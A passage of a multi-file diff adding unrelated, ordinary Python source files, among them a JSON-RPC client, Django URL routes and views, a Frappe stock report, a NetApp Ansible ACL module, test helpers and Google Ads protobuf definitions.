} + msg_data = dumps(msg) + if not HTTPRequest().asyncPost(self.url, msg_data, self, + False, "text/json", + self.headers): + return -1 + return 1 + + def sendRequest(self, method, params, handler): + id = nextRequestID() + msg = {"jsonrpc": "2.0", + "id": id, + "method": method, + "params": params + } + msg_data = dumps(msg) + + request_info = JSONRequestInfo(id, method, handler) + if not HTTPRequest().asyncPost(self.url, msg_data, + JSONResponseTextHandler(request_info), + False, "text/json", + self.headers): + return -1 + return id + + +class JSONRequestInfo(object): + def __init__(self, id, method, handler): + self.id = id + self.method = method + self.handler = handler + + +class JSONResponseTextHandler(object): + def __init__(self, request): + self.request = request + + def onCompletion(self, json_str): + try: + response = loads(json_str) + except JSONDecodeException: + # err.... help?!! + error = dict( + code=-32700, + message="Parse error while decoding response", + data=None, + ) + self.request.handler.onRemoteError(0, error, self.request) + return + + if not response: + error = dict( + code=-32603, + message="Empty Response", + data=None, + ) + self.request.handler.onRemoteError(0, error, self.request) + elif response.get("error"): + error = response["error"] + jsonrpc = response.get("jsonrpc") + code = error.get("code", 0) + message = error.get("message", error) + data = error.get("data") + if not jsonrpc: + jsonrpc = response.get("version", "1.0") + if jsonrpc == "1.0": + message = error + else: + data = error.get("error") + error = dict( + code=code, + message=message, + data=data, + ) + self.request.handler.onRemoteError(0, error, self.request) + elif "result" in response: + self.request.handler.onRemoteResponse(response["result"], + self.request) + else: + error = dict( + code=-32603, + message="No result or error in response", + data=response, + ) + self.request.handler.onRemoteError(0, error, self.request) + + def onError(self, error_str, error_code): + error = dict( + code=error_code, + message=error_str, + data=None, + ) + self.request.handler.onRemoteError(error_code, error, self.request) + +class ServiceProxy(JSONService): + def __init__(self, serviceURL, serviceName=None, headers=None): + JSONService.__init__(self, serviceURL, headers=headers) + self.__serviceName = serviceName + + def __call__(self, *params, **kwargs): + if isinstance(params, tuple): + params = list(params) + if hasattr(params[-1], "onRemoteResponse"): + handler = params.pop() + else: + handler = None + if kwargs: + if params: + if not isinstance(params, dict): + raise JSONServiceError("Cannot mix positional and keyword arguments") + params.update(kwargs) + else: + params = kwargs + if handler is not None: + return JSONService.sendRequest(self, self.__serviceName, + params, handler) + else: + return JSONService.sendNotify(self, self.__serviceName, params) + +# reserved names: callMethod, onCompletion +class JSONProxy(JSONService): + def __init__(self, url, methods=None, headers=None): + self._serviceURL = url + self.methods = methods + self.headers = {} if headers is None else headers + # Init with JSONService, for the use of callMethod + JSONService.__init__(self, url, headers=self.headers) + self.__registerMethods(methods) + + def __registerMethods(self, methods): + if methods: + for method in methods: + setattr(self, + method, + getattr(ServiceProxy(self._serviceURL, method, + headers=self.headers), + '__call__') + ) + + # It would be nice to use __getattr__ (in stead of __registerMethods) + # However, that doesn't work with pyjs and the use of __registerMethods + # saves some repeated instance creations (now only once per method and + # not once per call) + #def __getattr__(self, name): + # if not name in self.methods: + # raise AttributeError("no such method %s" % name) + # return ServiceProxy(self._serviceURL, name, headers=self.headers) + diff --git a/pool/shard008/Python/0079327_preprocess_util.py b/pool/shard008/Python/0079327_preprocess_util.py new file mode 100644 index 0000000000000000000000000000000000000000..efeb800a8668dda036c673355ea8b8bab1ed87da --- /dev/null +++ b/pool/shard008/Python/0079327_preprocess_util.py @@ -0,0 +1,50 @@ +""" +These methods below are helpers for preprocessing. +""" + +import pandas as pd +import cv2 +import random +import numpy as np + +def crop_top_and_bottom(image): + resized = cv2.resize(image[70:140], (64,64), cv2.INTER_AREA) + return cv2.cvtColor(resized, cv2.COLOR_RGB2HSV)[:,:,1] + + +def shift_img(image, random_shift): + rows, cols = image.shape + mat = np.float32([[1, 0, random_shift], [0, 1, 0]]) + return cv2.warpAffine(image, mat, (cols, rows)) + +def load_image(row): + """ + This is the main workhorse. It takes a dataframe row and loads the image; making + proper augmentations based on the flags included. Assumes images are in a + directory called './data'. Also assumes that the dataframe row has gone through + the proper modifications in the preprocessing step. Refer to the playground + notebook for more info. + Args: + row: dataframe row + Returns: + image: nd.array + """ + image = cv2.imread("./data/{0}".format(row.image.strip())) + image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + image = crop_top_and_bottom(image) + + if(row.is_flipped): + image = cv2.flip(image,1) + if(row.is_shift): + image = shift_img(image, row.random_shift) + return image + +def get_processed_dataframes(): + """ + Assumes the proper modifications in the preprocessing step. Refer to the playground + notebook for more info. Assumes the preprocessed csv driver log is titeled + 'preprocessed_driver_log.csv' + Returns: + df: dataframe + """ + return pd.read_csv('preprocessed_driver_log.csv') diff --git a/pool/shard008/Python/0079329_urls.py b/pool/shard008/Python/0079329_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..bd84f1d37e80d928c3684f56a28d6669f1c3a01b --- /dev/null +++ b/pool/shard008/Python/0079329_urls.py @@ -0,0 +1,23 @@ +from django.conf.urls import patterns, url +from hrp import views as hrp_views +from django.contrib.auth.decorators import login_required + +urlpatterns = patterns('', + # Project URLs are included by main urls.py + + # /projects/hrp/upload/ + url(r'^upload/$', login_required(hrp_views.UploadKMLView.as_view(), login_url='/login/'), name="hrp_upload_kml"), + + # /projects/hrp/download/ + url(r'^download/$', hrp_views.DownloadKMLView.as_view(), name="hrp_download_kml"), + + # /projects/hrp/confirmation/ + url(r'^confirmation/$', hrp_views.Confirmation.as_view(), name="hrp_upload_confirmation"), + + # /projects/hrp/upload/shapefile/ + # url(r'^upload/shapefile/', hrp_views.UploadShapefileView.as_view(), name="hrp_upload_shapefile"), + + # /projects/hrp/change_xy/ + url(r'^change_xy/', hrp_views.change_coordinates_view, name="hrp_change_xy"), + +) \ No newline at end of file diff --git a/pool/shard008/Python/0079330_names_challenge_test.py b/pool/shard008/Python/0079330_names_challenge_test.py new file mode 100644 index 0000000000000000000000000000000000000000..2bdf4e6513b3a67edbf2330d0e492b70d9f14842 --- /dev/null +++ b/pool/shard008/Python/0079330_names_challenge_test.py @@ -0,0 +1,46 @@ +import unittest +from group_challenge import shuffle_class + + +class TestNamesFunc(unittest.TestCase): + """ + This is a simple test case that makes sure you've created a function that + returns the correct values when called in different ways. Throughout our + class we will writing tests to give us a quick way to make sure things + behave as expected. + As a quick reference you can find a list built in assert methods here: + https://docs.python.org/3/library/unittest.html#assert-methods + """ + + def test_names_func_exists(self): + self.assertNotEqual(type(shuffle_class), None) + + def test_names_func_returns_correct_list_of_lists(self): + test_list = list(range(10)) + output = shuffle_class(test_list, 2) + # output should have a list of lists with 5 inner lists + self.assertEqual(len(output), 5) + + def test_names_func_returns_correct_list_when_names_not_evenly_divis(self): + test_list = list(range(11)) + output = shuffle_class(test_list, 2) + # output should still have list of list with 5 inner lists + self.assertEqual(len(output), 5) + + # check that the remaining item has been added to another group + item_check = [len(item) for item in output] + self.assertEqual(3 in item_check, True) + + def test_that_a_remaining_group_of_3_is_handled_properly(self): + test_list = list(range(18)) + output = shuffle_class(test_list, 5) + # output should have 4 inner lists + self.assertEqual(len(output), 4) + + # check that inner lists has a group of 3 + item_check = [len(item) for item in output] + self.assertEqual(3 in item_check, True) + + +if __name__ == '__main__': + unittest.main() \ No newline at end of file diff --git a/pool/shard008/Python/0079331_steering_dashlet.py b/pool/shard008/Python/0079331_steering_dashlet.py new file mode 100644 index 0000000000000000000000000000000000000000..007be7e3ad8a693dd899ab38070afd9bf2829776 --- /dev/null +++ b/pool/shard008/Python/0079331_steering_dashlet.py @@ -0,0 +1,61 @@ +# rFactor Remote LCD +# Copyright (C) 2014 Ingo Ruhnke +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + + +import rfactorlcd +import math + + +class SteeringDashlet(rfactorlcd.Dashlet): + + def __init__(self, *args): + super(SteeringDashlet, self).__init__(*args) + self.steering = 0 + self.rotation = math.pi / 2 + + def update_state(self, state): + if self.steering != state.steering: + self.steering = state.steering + + def draw(self, cr): + r = min(self.w, self.h)/2.0 + + cr.set_source_rgb(*self.lcd_style.shadow_color) + cr.save() + cr.translate(self.w/2, self.h/2) + cr.rotate(self.rotation * self.steering) + + cr.move_to(-r, 0) + cr.line_to(r, 0) + + cr.move_to(0, 0) + cr.line_to(0, r) + cr.stroke() + cr.restore() + + cr.set_source_rgb(*self.lcd_style.foreground_color) + cr.new_path() + cr.arc(self.w/2, self.h/2, + r, 0, 2.0 * math.pi) + cr.stroke() + + cr.new_path() + cr.arc(self.w/2, self.h/2, + r/5.0, 0, 2.0 * math.pi) + cr.fill() + + +# EOF # diff --git a/pool/shard008/Python/0079332_item_price_stock.py b/pool/shard008/Python/0079332_item_price_stock.py new file mode 100644 index 0000000000000000000000000000000000000000..5296211fae856138f41113c6d7cf60456afda33e --- /dev/null +++ b/pool/shard008/Python/0079332_item_price_stock.py @@ -0,0 +1,149 @@ +# Copyright (c) 2013, Frappe Technologies Pvt. Ltd. and contributors +# For license information, please see license.txt +from __future__ import unicode_literals +import frappe +from frappe import _ + +def execute(filters=None): + columns, data = [], [] + columns=get_columns() + data=get_data(filters,columns) + return columns, data + +def get_columns(): + return [ + { + "label": _("Item Code"), + "fieldname": "item_code", + "fieldtype": "Link", + "options": "Item", + "width": 120 + }, + { + "label": _("Item Name"), + "fieldname": "item_name", + "fieldtype": "Data", + "width": 120 + }, + { + "label": _("Brand"), + "fieldname": "brand", + "fieldtype": "Data", + "width": 100 + }, + { + "label": _("Warehouse"), + "fieldname": "warehouse", + "fieldtype": "Link", + "options": "Warehouse", + "width": 120 + }, + { + "label": _("Stock Available"), + "fieldname": "stock_available", + "fieldtype": "Float", + "width": 120 + }, + { + "label": _("Buying Price List"), + "fieldname": "buying_price_list", + "fieldtype": "Link", + "options": "Price List", + "width": 120 + }, + { + "label": _("Buying Rate"), + "fieldname": "buying_rate", + "fieldtype": "Currency", + "width": 120 + }, + { + "label": _("Selling Price List"), + "fieldname": "selling_price_list", + "fieldtype": "Link", + "options": "Price List", + "width": 120 + }, + { + "label": _("Selling Rate"), + "fieldname": "selling_rate", + "fieldtype": "Currency", + "width": 120 + } + ] + +def get_data(filters, columns): + item_price_qty_data = [] + item_price_qty_data = get_item_price_qty_data(filters) + return item_price_qty_data + +def get_item_price_qty_data(filters): + conditions = "" + if filters.get("item_code"): + conditions += "where a.item_code=%(item_code)s" + + item_results = frappe.db.sql("""select a.item_code, a.item_name, a.name as price_list_name, + a.brand as brand, b.warehouse as warehouse, b.actual_qty as actual_qty + from `tabItem Price` a left join `tabBin` b + ON a.item_code = b.item_code + {conditions}""" + .format(conditions=conditions), filters, as_dict=1) + + price_list_names = list(set([item.price_list_name for item in item_results])) + + buying_price_map = get_price_map(price_list_names, buying=1) + selling_price_map = get_price_map(price_list_names, selling=1) + + result = [] + if item_results: + for item_dict in item_results: + data = { + 'item_code': item_dict.item_code, + 'item_name': item_dict.item_name, + 'brand': item_dict.brand, + 'warehouse': item_dict.warehouse, + 'stock_available': item_dict.actual_qty or 0, + 'buying_price_list': "", + 'buying_rate': 0.0, + 'selling_price_list': "", + 'selling_rate': 0.0 + } + + price_list = item_dict["price_list_name"] + if buying_price_map.get(price_list): + data["buying_price_list"] = buying_price_map.get(price_list)["Buying Price List"] or "" + data["buying_rate"] = buying_price_map.get(price_list)["Buying Rate"] or 0 + if selling_price_map.get(price_list): + data["selling_price_list"] = selling_price_map.get(price_list)["Selling Price List"] or "" + data["selling_rate"] = selling_price_map.get(price_list)["Selling Rate"] or 0 + + result.append(data) + + return result + +def get_price_map(price_list_names, buying=0, selling=0): + price_map = {} + + if not price_list_names: + return price_map + + rate_key = "Buying Rate" if buying else "Selling Rate" + price_list_key = "Buying Price List" if buying else "Selling Price List" + + filters = {"name": ("in", price_list_names)} + if buying: + filters["buying"] = 1 + else: + filters["selling"] = 1 + + pricing_details = frappe.get_all("Item Price", + fields = ["name", "price_list", "price_list_rate"], filters=filters) + + for d in pricing_details: + name = d["name"] + price_map[name] = { + price_list_key :d["price_list"], + rate_key :d["price_list_rate"] + } + + return price_map diff --git a/pool/shard008/Python/0079333_base.py b/pool/shard008/Python/0079333_base.py new file mode 100644 index 0000000000000000000000000000000000000000..7e439bb116c4aa8ce8b47e2a6e99ea72108234b2 --- /dev/null +++ b/pool/shard008/Python/0079333_base.py @@ -0,0 +1,139 @@ +# Copyright 2015 - Alcatel-Lucent +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import logging +import os + +from oslo_config import cfg +from oslo_config import fixture as config_fixture +from oslo_utils import timeutils +# noinspection PyPackageRequirements +from oslotest import base +import sys + +from testtools import matchers +from testtools.matchers import HasLength + +from vitrage.common import config + +CONF = cfg.CONF +IsEmpty = lambda: HasLength(0) + + +class BaseTest(base.BaseTestCase): + """Test case base class for all unit tests.""" + + def conf_reregister_opts(self, opts, group=None): + self.conf.reset() + if group in self.conf: + for opt in opts: + self.conf.unregister_opt(opt, group=group) + self.conf.register_opts(opts, group=group) + + def unregister_opts(): + self.conf.reset() + for opt in opts: + self.conf.unregister_opt(opt, group=group) + + self.addCleanup(unregister_opts) + + def setUp(self): + super(BaseTest, self).setUp() + self.cfg_fixture = self.useFixture( + config_fixture.Config(CONF)) + config.parse_config([]) + logging.disable(logging.CRITICAL) + self.conf = self.cfg_fixture.conf + + def config(self, **kw): + self.cfg_fixture.config(**kw) + + def assert_list_equal(self, l1, l2, message=None): + if tuple(sys.version_info)[0:2] < (2, 7): + # for python 2.6 compatibility + self.assertEqual(l1, l2, message) + else: + super(BaseTest, self).assertListEqual(l1, l2, message) + + def assert_dict_equal(self, d1, d2, message=None): + if tuple(sys.version_info)[0:2] < (2, 7): + # for python 2.6 compatibility + self.assertEqual(d1, d2) + else: + super(BaseTest, self).assertDictEqual(d1, d2, message) + + def assert_timestamp_equal(self, first, second, msg=None): + """Checks that two timestamps are equals. + + This relies on assertAlmostEqual to avoid rounding problem, and only + checks up the first microsecond values. + + """ + return self.assertAlmostEqual(timeutils.delta_seconds(first, second), + 0.0, + places=5, msg=msg) + + def assert_is_empty(self, obj): + try: + if len(obj) != 0: + self.fail("%s is not empty" % type(obj)) + except (TypeError, AttributeError): + self.fail("%s doesn't have length" % type(obj)) + + def assert_is_not_empty(self, obj): + try: + if len(obj) == 0: + self.fail("%s is empty" % type(obj)) + except (TypeError, AttributeError): + self.fail("%s doesn't have length" % type(obj)) + + def assert_graph_equal(self, g1, g2): + """Checks that two graphs are equals. + + This relies on assert_dict_equal when comparing the nodes and the + edges of each graph. + """ + g1_nodes = g1._g.nodes + g1_edges = g1._g.adj + g2_nodes = g2._g.nodes + g2_edges = g2._g.adj + self.assertEqual(g1.num_vertices(), g2.num_vertices(), + "Two graphs have different amount of nodes") + self.assertEqual(g1.num_edges(), g2.num_edges(), + "Two graphs have different amount of edges") + for n_id in g1_nodes: + self.assert_dict_equal(g1_nodes.get(n_id), + g2_nodes.get(n_id), + "Nodes of each graph are not equal") + + for e_source_id in g1_edges: + self.assert_dict_equal(dict(g1_edges.get(e_source_id)), + dict(g2_edges.get(e_source_id)), + "Edges of each graph are not equal") + + def assert_starts_with(self, expected_prefix, observed_str, msg=None): + self.assertThat(observed_str, + matchers.StartsWith(expected_prefix), msg) + + @staticmethod + def path_get(project_file=None): + root = os.path.abspath(os.path.join(os.path.dirname(__file__), + '..', + '..', + ) + ) + if project_file: + return os.path.join(root, project_file) + else: + return root diff --git a/pool/shard008/Python/0079336_na_ontap_cifs_acl.py b/pool/shard008/Python/0079336_na_ontap_cifs_acl.py new file mode 100644 index 0000000000000000000000000000000000000000..d959f9837fa03c025f6ffc414cb85b74b4227a80 --- /dev/null +++ b/pool/shard008/Python/0079336_na_ontap_cifs_acl.py @@ -0,0 +1,237 @@ +#!/usr/bin/python + +# (c) 2018-2019, NetApp, Inc +# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) + +from __future__ import absolute_import, division, print_function +__metaclass__ = type + +ANSIBLE_METADATA = {'metadata_version': '1.1', + 'status': ['preview'], + 'supported_by': 'certified'} + + +DOCUMENTATION = ''' +author: NetApp Ansible Team (@carchi8py) +description: + - "Create or destroy or modify cifs-share-access-controls on ONTAP" +extends_documentation_fragment: + - netapp.na_ontap +module: na_ontap_cifs_acl +options: + permission: + choices: ['no_access', 'read', 'change', 'full_control'] + description: + -"The access rights that the user or group has on the defined CIFS share." + share_name: + description: + - "The name of the cifs-share-access-control to manage." + required: true + state: + choices: ['present', 'absent'] + description: + - "Whether the specified CIFS share acl should exist or not." + default: present + vserver: + description: + - Name of the vserver to use. + required: true + user_or_group: + description: + - "The user or group name for which the permissions are listed." + required: true +short_description: NetApp ONTAP manage cifs-share-access-control +version_added: "2.6" + +''' + +EXAMPLES = """ + - name: Create CIFS share acl + na_ontap_cifs_acl: + state: present + share_name: cifsShareName + user_or_group: Everyone + permission: read + vserver: "{{ netapp_vserver }}" + hostname: "{{ netapp_hostname }}" + username: "{{ netapp_username }}" + password: "{{ netapp_password }}" + - name: Modify CIFS share acl permission + na_ontap_cifs_acl: + state: present + share_name: cifsShareName + user_or_group: Everyone + permission: change + vserver: "{{ netapp_vserver }}" + hostname: "{{ netapp_hostname }}" + username: "{{ netapp_username }}" + password: "{{ netapp_password }}" +""" + +RETURN = """ +""" + + +import traceback +from ansible.module_utils.basic import AnsibleModule +from ansible.module_utils._text import to_native +import ansible.module_utils.netapp as netapp_utils + +HAS_NETAPP_LIB = netapp_utils.has_netapp_lib() + + +class NetAppONTAPCifsAcl(object): + """ + Methods to create/delete/modify CIFS share/user access-control + """ + + def __init__(self): + self.argument_spec = netapp_utils.na_ontap_host_argument_spec() + self.argument_spec.update(dict( + state=dict(required=False, type='str', choices=['present', 'absent'], default='present'), + vserver=dict(required=True, type='str'), + share_name=dict(required=True, type='str'), + user_or_group=dict(required=True, type='str'), + permission=dict(required=False, type='str', choices=['no_access', 'read', 'change', 'full_control']) + )) + self.module = AnsibleModule( + argument_spec=self.argument_spec, + required_if=[ + ('state', 'present', ['share_name', 'user_or_group', 'permission']) + ], + supports_check_mode=True + ) + parameters = self.module.params + # set up state variables + self.state = parameters['state'] + self.vserver = parameters['vserver'] + self.share_name = parameters['share_name'] + self.user_or_group = parameters['user_or_group'] + self.permission = parameters['permission'] + + if HAS_NETAPP_LIB is False: + self.module.fail_json(msg="the python NetApp-Lib module is required") + else: + self.server = netapp_utils.setup_na_ontap_zapi(module=self.module, vserver=self.vserver) + + def get_cifs_acl(self): + """ + Return details about the cifs-share-access-control + :param: + name : Name of the cifs-share-access-control + :return: Details about the cifs-share-access-control. None if not found. + :rtype: dict + """ + cifs_acl_iter = netapp_utils.zapi.NaElement('cifs-share-access-control-get-iter') + cifs_acl_info = netapp_utils.zapi.NaElement('cifs-share-access-control') + cifs_acl_info.add_new_child('share', self.share_name) + cifs_acl_info.add_new_child('user-or-group', self.user_or_group) + query = netapp_utils.zapi.NaElement('query') + query.add_child_elem(cifs_acl_info) + cifs_acl_iter.add_child_elem(query) + result = self.server.invoke_successfully(cifs_acl_iter, True) + return_value = None + # check if query returns the expected cifs-share-access-control + if result.get_child_by_name('num-records') and \ + int(result.get_child_content('num-records')) == 1: + + cifs_acl = result.get_child_by_name('attributes-list').get_child_by_name('cifs-share-access-control') + return_value = { + 'share': cifs_acl.get_child_content('share'), + 'user-or-group': cifs_acl.get_child_content('user-or-group'), + 'permission': cifs_acl.get_child_content('permission') + } + + return return_value + + def create_cifs_acl(self): + """ + Create access control for the given CIFS share/user-group + """ + cifs_acl_create = netapp_utils.zapi.NaElement.create_node_with_children( + 'cifs-share-access-control-create', **{'share': self.share_name, + 'user-or-group': self.user_or_group, + 'permission': self.permission}) + try: + self.server.invoke_successfully(cifs_acl_create, + enable_tunneling=True) + except netapp_utils.zapi.NaApiError as error: + + self.module.fail_json(msg='Error creating cifs-share-access-control %s: %s' + % (self.share_name, to_native(error)), + exception=traceback.format_exc()) + + def delete_cifs_acl(self): + """ + Delete access control for the given CIFS share/user-group + """ + cifs_acl_delete = netapp_utils.zapi.NaElement.create_node_with_children( + 'cifs-share-access-control-delete', **{'share': self.share_name, + 'user-or-group': self.user_or_group}) + try: + self.server.invoke_successfully(cifs_acl_delete, + enable_tunneling=True) + except netapp_utils.zapi.NaApiError as error: + self.module.fail_json(msg='Error deleting cifs-share-access-control %s: %s' + % (self.share_name, to_native(error)), + exception=traceback.format_exc()) + + def modify_cifs_acl_permission(self): + """ + Change permission for the given CIFS share/user-group + """ + cifs_acl_modify = netapp_utils.zapi.NaElement.create_node_with_children( + 'cifs-share-access-control-modify', **{'share': self.share_name, + 'user-or-group': self.user_or_group, + 'permission': self.permission}) + try: + self.server.invoke_successfully(cifs_acl_modify, + enable_tunneling=True) + except netapp_utils.zapi.NaApiError as error: + self.module.fail_json(msg='Error modifying cifs-share-access-control permission %s:%s' + % (self.share_name, to_native(error)), + exception=traceback.format_exc()) + + def apply(self): + """ + Apply action to cifs-share-access-control + """ + changed = False + cifs_acl_exists = False + netapp_utils.ems_log_event("na_ontap_cifs_acl", self.server) + cifs_acl_details = self.get_cifs_acl() + if cifs_acl_details: + cifs_acl_exists = True + if self.state == 'absent': # delete + changed = True + elif self.state == 'present': + if cifs_acl_details['permission'] != self.permission: # rename + changed = True + else: + if self.state == 'present': # create + changed = True + if changed: + if self.module.check_mode: + pass + else: + if self.state == 'present': # execute create + if not cifs_acl_exists: + self.create_cifs_acl() + else: # execute modify + self.modify_cifs_acl_permission() + elif self.state == 'absent': # execute delete + self.delete_cifs_acl() + + self.module.exit_json(changed=changed) + + +def main(): + """ + Execute action from playbook + """ + cifs_acl = NetAppONTAPCifsAcl() + cifs_acl.apply() + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0079337_init__.py b/pool/shard008/Python/0079337_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..d9c41062f6c7a798aa5ee90711cc607fa1f4358d --- /dev/null +++ b/pool/shard008/Python/0079337_init__.py @@ -0,0 +1,37 @@ +# Copyright 2007 by Michiel de Hoon. All rights reserved. +# This code is part of the Biopython distribution and governed by its +# license. Please see the LICENSE file that should have been included +# as part of this package. +"""Parsers for file formats from the SwissProt database. +""" + +# The parse(), read() functions can probably be simplified if we don't +# use the "parser = RecordParser(); parser.parse(handle)" approach. +def parse(handle): + from SProt import RecordParser + import cStringIO + parser = RecordParser() + text = "" + for line in handle: + text += line + if line[:2]=='//': + handle = cStringIO.StringIO(text) + record = parser.parse(handle) + text = "" + yield record + +def read(handle): + from SProt import RecordParser + parser = RecordParser() + try: + record = parser.parse(handle) + except ValueError, error: + if error.message.startswith("Line does not start with 'ID':"): + raise ValueError, "No SwissProt record found" + else: + raise error + # We should have reached the end of the record by now + remainder = handle.read() + if remainder: + raise ValueError, "More than one SwissProt record found" + return record diff --git a/pool/shard008/Python/0079344_cancel.py b/pool/shard008/Python/0079344_cancel.py new file mode 100644 index 0000000000000000000000000000000000000000..87ded6b7ccaf46d7c99c8dfa0a2a95b0a5f61276 --- /dev/null +++ b/pool/shard008/Python/0079344_cancel.py @@ -0,0 +1,56 @@ +# Copyright 2015 Google Inc. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Cancel operation command.""" +from googlecloudsdk.api_lib.dataproc import util +from googlecloudsdk.calliope import base +from googlecloudsdk.core import log +from googlecloudsdk.core.console import console_io + + +class Cancel(base.Command): + """Cancel an active operation. + + Cancel an active operation. + + ## EXAMPLES + + To cancel an operation, run: + + $ {command} operation_id + """ + + @staticmethod + def Args(parser): + parser.add_argument('operation', help='The ID of the operation to cancel.') + + def Run(self, args): + client = self.context['dataproc_client'] + messages = self.context['dataproc_messages'] + + operation_ref = util.ParseOperation(args.operation, self.context) + + request = messages.DataprocProjectsRegionsOperationsCancelRequest( + name=operation_ref.RelativeName()) + + console_io.PromptContinue( + message="The operation '{0}' will be cancelled.".format( + args.operation), + cancel_on_no=True, + cancel_string='Cancellation aborted by user.') + + client.projects_regions_operations.Cancel(request) + # TODO(user) Check that operation was cancelled. + + log.status.write('Cancelled [{0}].\n'.format(args.operation)) diff --git a/pool/shard008/Python/0079348_crispy.py b/pool/shard008/Python/0079348_crispy.py new file mode 100644 index 0000000000000000000000000000000000000000..5eb73b82cbde183bb54c9fd4b9523de5d808d480 --- /dev/null +++ b/pool/shard008/Python/0079348_crispy.py @@ -0,0 +1,15 @@ +#Django Imports +from django.shortcuts import render, redirect +from django.contrib.auth.decorators import login_required + +import contacts.forms as forms + +@login_required() +def participant_add(request): + cf = forms.ContactAdd() + return render(request,'crispy/generic-controller.html',{'form':cf,'form_name':'participant-new-form'}) + +@login_required() +def participant_update(request): + cf = forms.ContactUpdate() + return render(request,'crispy/generic-no-controller.html',{'form':cf,'form_name':'participant-update-form'}) diff --git a/pool/shard008/Python/0079349_serializers.py b/pool/shard008/Python/0079349_serializers.py new file mode 100644 index 0000000000000000000000000000000000000000..61f11bd54301846136f4ddb33758231b009ab05b --- /dev/null +++ b/pool/shard008/Python/0079349_serializers.py @@ -0,0 +1,24 @@ +from rest_framework.fields import SerializerMethodField, DateTimeField +from rest_framework.serializers import ModelSerializer, CharField, UUIDField + +from alexa.settings import RADIO_LINK_BASE +from yle.models import News + + +class NewsSerializer(ModelSerializer): + + uid = UUIDField(source='uuid') + updateDate = DateTimeField(source='created') + titleText = CharField(source='title') + streamUrl = CharField(source='audio_url') + mainText = CharField(source='content') + redirectionUrl = SerializerMethodField('get_redirection') + + def get_redirection(self, obj): + return RADIO_LINK_BASE + obj.external_id + + class Meta: + model = News + fields = ['uid', 'updateDate', + 'titleText', 'streamUrl', + 'mainText', 'redirectionUrl'] diff --git a/pool/shard008/Python/0079350_account_budget_proposal.py b/pool/shard008/Python/0079350_account_budget_proposal.py new file mode 100644 index 0000000000000000000000000000000000000000..a37b64a3197a377baa2ac9868d02a22652da7984 --- /dev/null +++ b/pool/shard008/Python/0079350_account_budget_proposal.py @@ -0,0 +1,187 @@ +# -*- coding: utf-8 -*- +# Copyright 2020 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import proto # type: ignore + +from google.ads.googleads.v8.enums.types import account_budget_proposal_status +from google.ads.googleads.v8.enums.types import account_budget_proposal_type +from google.ads.googleads.v8.enums.types import spending_limit_type +from google.ads.googleads.v8.enums.types import time_type + + +__protobuf__ = proto.module( + package="google.ads.googleads.v8.resources", + marshal="google.ads.googleads.v8", + manifest={"AccountBudgetProposal",}, +) + + +class AccountBudgetProposal(proto.Message): + r"""An account-level budget proposal. + + All fields prefixed with 'proposed' may not necessarily be applied + directly. For example, proposed spending limits may be adjusted + before their application. This is true if the 'proposed' field has + an 'approved' counterpart, e.g. spending limits. + + Please note that the proposal type (proposal_type) changes which + fields are required and which must remain empty. + + Attributes: + resource_name (str): + Immutable. The resource name of the proposal. + AccountBudgetProposal resource names have the form: + + ``customers/{customer_id}/accountBudgetProposals/{account_budget_proposal_id}`` + id (int): + Output only. The ID of the proposal. + billing_setup (str): + Immutable. The resource name of the billing + setup associated with this proposal. + account_budget (str): + Immutable. The resource name of the account- + evel budget associated with this proposal. + proposal_type (google.ads.googleads.v8.enums.types.AccountBudgetProposalTypeEnum.AccountBudgetProposalType): + Immutable. The type of this proposal, e.g. + END to end the budget associated with this + proposal. + status (google.ads.googleads.v8.enums.types.AccountBudgetProposalStatusEnum.AccountBudgetProposalStatus): + Output only. The status of this proposal. + When a new proposal is created, the status + defaults to PENDING. + proposed_name (str): + Immutable. The name to assign to the account- + evel budget. + approved_start_date_time (str): + Output only. The approved start date time in + yyyy-mm-dd hh:mm:ss format. + proposed_purchase_order_number (str): + Immutable. A purchase order number is a value + that enables the user to help them reference + this budget in their monthly invoices. + proposed_notes (str): + Immutable. Notes associated with this budget. + creation_date_time (str): + Output only. The date time when this account- + evel budget proposal was created, which is not + the same as its approval date time, if + applicable. + approval_date_time (str): + Output only. The date time when this account- + evel budget was approved, if applicable. + proposed_start_date_time (str): + Immutable. The proposed start date time in + yyyy-mm-dd hh:mm:ss format. + proposed_start_time_type (google.ads.googleads.v8.enums.types.TimeTypeEnum.TimeType): + Immutable. The proposed start date time as a + well-defined type, e.g. NOW. + proposed_end_date_time (str): + Immutable. The proposed end date time in + yyyy-mm-dd hh:mm:ss format. + proposed_end_time_type (google.ads.googleads.v8.enums.types.TimeTypeEnum.TimeType): + Immutable. The proposed end date time as a + well-defined type, e.g. FOREVER. + approved_end_date_time (str): + Output only. The approved end date time in + yyyy-mm-dd hh:mm:ss format. + approved_end_time_type (google.ads.googleads.v8.enums.types.TimeTypeEnum.TimeType): + Output only. The 